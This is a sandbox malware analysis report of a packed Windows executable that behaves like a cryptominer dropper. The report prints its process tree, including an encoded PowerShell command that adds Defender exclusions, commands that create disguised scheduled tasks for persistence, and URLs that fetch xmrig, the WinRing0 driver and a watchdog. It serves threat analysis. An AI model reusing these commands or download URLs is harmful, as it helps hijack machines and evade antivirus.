Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	July 8, 2023, 1:59 p.m.	July 8, 2023, 2:07 p.m.

Size	2.6MB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`197cf1b5f5228af677c04341b43b58f0`
SHA256	`cdffe175d69a7b4c7fb9e7fa2aef3f266ce8af7d03d3859ec5b3f82cb72c9797`
CRC32	`F4EAE009`
ssdeep	`49152:UN5dggyvdBuCn5VuUxZDI1I1WYHl7MPx3fT7W2OgZtjiVaJdV9hy/1cG:UN5dalxn7TDNRl7MPhS2OgZlig9hyNcG`
Yara	UPX_Zero - UPX packed file Malicious_Library_Zero - Malicious_Library PE_Header_Zero - PE File Signature IsPE32 - (no description)

conhost.exe "C:\Users\test22\AppData\Local\Temp\conhost.exe"
1952
- cmd.exe cmd /c ""C:\Users\test22\AppData\Local\Temp\main\main.bat" /s"
  2204
  - mode.com mode 65,10
    2264
  - 7z.exe 7z.exe e file.zip -p13961188841761813015484523849 -oextracted
    2308
  - 7z.exe 7z.exe e extracted/file_5.zip -oextracted
    2356
  - 7z.exe 7z.exe e extracted/file_4.zip -oextracted
    2404
  - 7z.exe 7z.exe e extracted/file_3.zip -oextracted
    2452
  - 7z.exe 7z.exe e extracted/file_2.zip -oextracted
    2500
  - 7z.exe 7z.exe e extracted/file_1.zip -oextracted
    2556
  - attrib.exe attrib +H "4343.exe"
    2604
  - 4343.exe "4343.exe"
    2648
    - cmd.exe "cmd.exe" /C powershell -EncodedCommand "PAAjAGgAdQBwAE8AMwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAFcAMgBmADkAMgAxACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAFMAYgA2AFoAaAB1AGIAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAeQA3AFYAIwA+AA==" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
      2856
      - powershell.exe powershell -EncodedCommand "PAAjAGgAdQBwAE8AMwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAFcAMgBmADkAMgAxACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAFMAYgA2AFoAaAB1AGIAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAeQA3AFYAIwA+AA=="
        2912
      - powercfg.exe powercfg /x -hibernate-timeout-ac 0
        652
      - powercfg.exe powercfg /x -hibernate-timeout-dc 0
        2104
      - powercfg.exe powercfg /x -standby-timeout-ac 0
        2276
      - powercfg.exe powercfg /x -standby-timeout-dc 0
        2360
      - powercfg.exe powercfg /hibernate off
        2520
    - cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
      2680
      - schtasks.exe SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        2960
    - cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk3555" /TR "C:\ProgramData\Dllhost\dllhost.exe"
      2872
      - schtasks.exe SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk3555" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        3024

Name	Response	Post-Analysis Lookup
raw.githubusercontent.com	A 185.199.109.133 A 185.199.111.133 A 185.199.110.133 A 185.199.108.133	185.199.108.133
pastebin.com	A 104.20.67.143 A 172.67.34.170 A 104.20.68.143	104.20.67.143
github.com	A 20.200.245.247	20.200.245.247

IP Address	Status	Action
104.20.67.143	Active	Moloch
164.124.101.2	Active	Moloch
185.199.108.133	Active	Moloch
20.200.245.247	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49183 -> 104.20.67.143:443	906200022	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49190 -> 20.200.245.247:443	906200022	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49197 -> 185.199.108.133:443	906200022	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49189 -> 20.200.245.247:443	906200022	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49193 -> 185.199.108.133:443	906200022	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLS 1.2 192.168.56.103:49183 104.20.67.143:443	C=US, O=Cloudflare, Inc., CN=Cloudflare Inc ECC CA-3	C=US, ST=California, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com	55:c8:82:61:30:05:42:80:db:47:5e:d0:66:b5:df:ac:14:5b:19:6f
TLS 1.2 192.168.56.103:49190 20.200.245.247:443	C=US, O=DigiCert Inc, CN=DigiCert TLS Hybrid ECC SHA384 2020 CA1	C=US, ST=California, L=San Francisco, O=GitHub, Inc., CN=github.com	a3:b5:9e:5f:e8:84:ee:1f:34:d9:8e:ef:85:8e:3f:b6:62:ac:10:4a
TLS 1.2 192.168.56.103:49189 20.200.245.247:443	C=US, O=DigiCert Inc, CN=DigiCert TLS Hybrid ECC SHA384 2020 CA1	C=US, ST=California, L=San Francisco, O=GitHub, Inc., CN=github.com	a3:b5:9e:5f:e8:84:ee:1f:34:d9:8e:ef:85:8e:3f:b6:62:ac:10:4a
TLS 1.2 192.168.56.103:49197 185.199.108.133:443	None	None	None
TLS 1.2 192.168.56.103:49193 185.199.108.133:443	C=US, O=DigiCert Inc, CN=DigiCert TLS RSA SHA256 2020 CA1	C=US, ST=California, L=San Francisco, O=GitHub, Inc., CN=*.github.io	a1:46:14:c7:2a:1d:52:79:f6:aa:2b:b2:c5:0a:3b:d3:f5:02:06:75

Queries for the computername (11 events)

Time & API	Arguments	Status	Return
GetComputerNameW July 8, 2023, 1:59 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 8, 2023, 1:59 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 8, 2023, 1:59 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 8, 2023, 1:59 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 8, 2023, 1:59 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 8, 2023, 1:59 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 8, 2023, 1:59 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA July 8, 2023, 1:59 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 8, 2023, 1:59 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 8, 2023, 1:59 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 8, 2023, 1:59 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (9 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent July 8, 2023, 1:59 p.m.			0	0
IsDebuggerPresent July 8, 2023, 1:59 p.m.			0	0
IsDebuggerPresent July 8, 2023, 1:59 p.m.			0	0
IsDebuggerPresent July 8, 2023, 1:59 p.m.			0	0
IsDebuggerPresent July 8, 2023, 1:59 p.m.			0	0
IsDebuggerPresent July 8, 2023, 1:59 p.m.			0	0
IsDebuggerPresent July 8, 2023, 1:59 p.m.			0	0
IsDebuggerPresent July 8, 2023, 1:59 p.m.			0	0
IsDebuggerPresent July 8, 2023, 1:59 p.m.			0	0

Command line console output was observed (18 events)

Time & API	Arguments	Status	Return
WriteConsoleW July 8, 2023, 1:52 p.m.	buffer: C:\Users\test22\AppData\Local\Temp\main> console_handle: 0x0000000000000007	1	1
WriteConsoleW July 8, 2023, 1:52 p.m.	buffer: cls console_handle: 0x0000000000000007	1	1
WriteConsoleW July 8, 2023, 1:52 p.m.	buffer: '■' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x000000000000000b	1	1
WriteConsoleW July 8, 2023, 1:52 p.m.	buffer: 1 file(s) moved. console_handle: 0x0000000000000007	1	1
WriteConsoleW July 8, 2023, 1:52 p.m.	buffer: Launched '4343.exe'. console_handle: 0x0000000000000007	1	1
WriteConsoleW July 8, 2023, 1:52 p.m.	buffer: Press any key to continue . . . console_handle: 0x0000000000000007	1	1
WriteConsoleW July 8, 2023, 1:59 p.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x00000023	1	1
WriteConsoleW July 8, 2023, 1:59 p.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x0000002f	1	1
WriteConsoleW July 8, 2023, 1:59 p.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW July 8, 2023, 1:59 p.m.	buffer: At line:1 char:27 console_handle: 0x00000047	1	1
WriteConsoleW July 8, 2023, 1:59 p.m.	buffer: + <#hupO3#> Add-MpPreference <<<< <#W2f921#> -ExclusionPath @($env:UserProfile console_handle: 0x00000053	1	1
WriteConsoleW July 8, 2023, 1:59 p.m.	buffer: ,$env:SystemDrive) <#Sb6Zhub#> -Force <#y7V#> console_handle: 0x0000005f	1	1
WriteConsoleW July 8, 2023, 1:59 p.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x0000006b	1	1
WriteConsoleW July 8, 2023, 1:59 p.m.	buffer: mmandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW July 8, 2023, 1:59 p.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000083	1	1
WriteConsoleW July 8, 2023, 1:59 p.m.	buffer: Hibernation failed with the following error: The request is not supported. The following items are preventing hibernation on this system. The system firmware does not support hibernation. console_handle: 0x0000000b	1	1
WriteConsoleW July 8, 2023, 1:59 p.m.	buffer: SUCCESS: The scheduled task "dllhost" has successfully been created. console_handle: 0x00000007	1	1
WriteConsoleW July 8, 2023, 1:59 p.m.	buffer: SUCCESS: The scheduled task "NvStray\NvStrayService_bk3555" has successfully been created. console_handle: 0x00000007	1	1

Uses Windows APIs to generate a cryptographic key (46 events)

Time & API	Arguments	Status	Return
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056b940 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056bd40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056bd40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056bd40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056bfc0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056bfc0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056bfc0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056bfc0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056bfc0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056bfc0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056bd40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056bd40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056bd40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056bec0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056bec0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056bec0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056bf00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056bec0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056bec0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056bec0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056bec0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056bec0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056bec0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056bec0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056c040 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056c040 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056c040 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056c040 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056c040 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056c040 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056c040 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056c040 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056c040 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056c040 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056c040 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056c040 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056c040 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056c040 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056c100 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056c100 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056c100 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056c100 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056c100 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056c100 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056c100 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 8, 2023, 1:59 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0056c100 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx July 8, 2023, 1:59 p.m.		1	1	0

The executable uses a known packer (1 event)

packer

Armadillo v1.71

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (7 events)

suspicious_features	GET method with no useragent header	suspicious_request	GET https://pastebin.com/raw/btyX5Ze4
suspicious_features	GET method with no useragent header	suspicious_request	GET https://github.com/S1lentHashhh/WinRing/raw/main/WinRing0x64.sys
suspicious_features	GET method with no useragent header	suspicious_request	GET https://github.com/S1lentHashhh/xmrig/raw/main/xmrig.exe
suspicious_features	GET method with no useragent header	suspicious_request	GET https://raw.githubusercontent.com/S1lentHashhh/WinRing/main/WinRing0x64.sys
suspicious_features	GET method with no useragent header	suspicious_request	GET https://github.com/S1lentHashhh/watchdog/raw/main/WatchDog.exe
suspicious_features	GET method with no useragent header	suspicious_request	GET https://raw.githubusercontent.com/S1lentHashhh/xmrig/main/xmrig.exe
suspicious_features	GET method with no useragent header	suspicious_request	GET https://raw.githubusercontent.com/S1lentHashhh/watchdog/main/WatchDog.exe

Performs some HTTP requests (7 events)

request	GET https://pastebin.com/raw/btyX5Ze4
request	GET https://github.com/S1lentHashhh/WinRing/raw/main/WinRing0x64.sys
request	GET https://github.com/S1lentHashhh/xmrig/raw/main/xmrig.exe
request	GET https://raw.githubusercontent.com/S1lentHashhh/WinRing/main/WinRing0x64.sys
request	GET https://github.com/S1lentHashhh/watchdog/raw/main/WatchDog.exe
request	GET https://raw.githubusercontent.com/S1lentHashhh/xmrig/main/xmrig.exe
request	GET https://raw.githubusercontent.com/S1lentHashhh/watchdog/main/WatchDog.exe

Allocates read-write-execute memory (usually to unpack itself) (50 out of 168 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2648 region_size: 2031616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00950000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00b00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2648 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72591000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2648 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72592000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2648 region_size: 2031616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00c80000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00e30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004e2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00515000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0051b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00517000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004fc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00506000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00840000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004ea000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0050a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00507000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004fa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2648 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0xfff50000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0xfff50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0xfff50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0xfff58000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2648 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0xfff40000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0xfff40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00841000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00842000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00843000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00844000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004ec000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
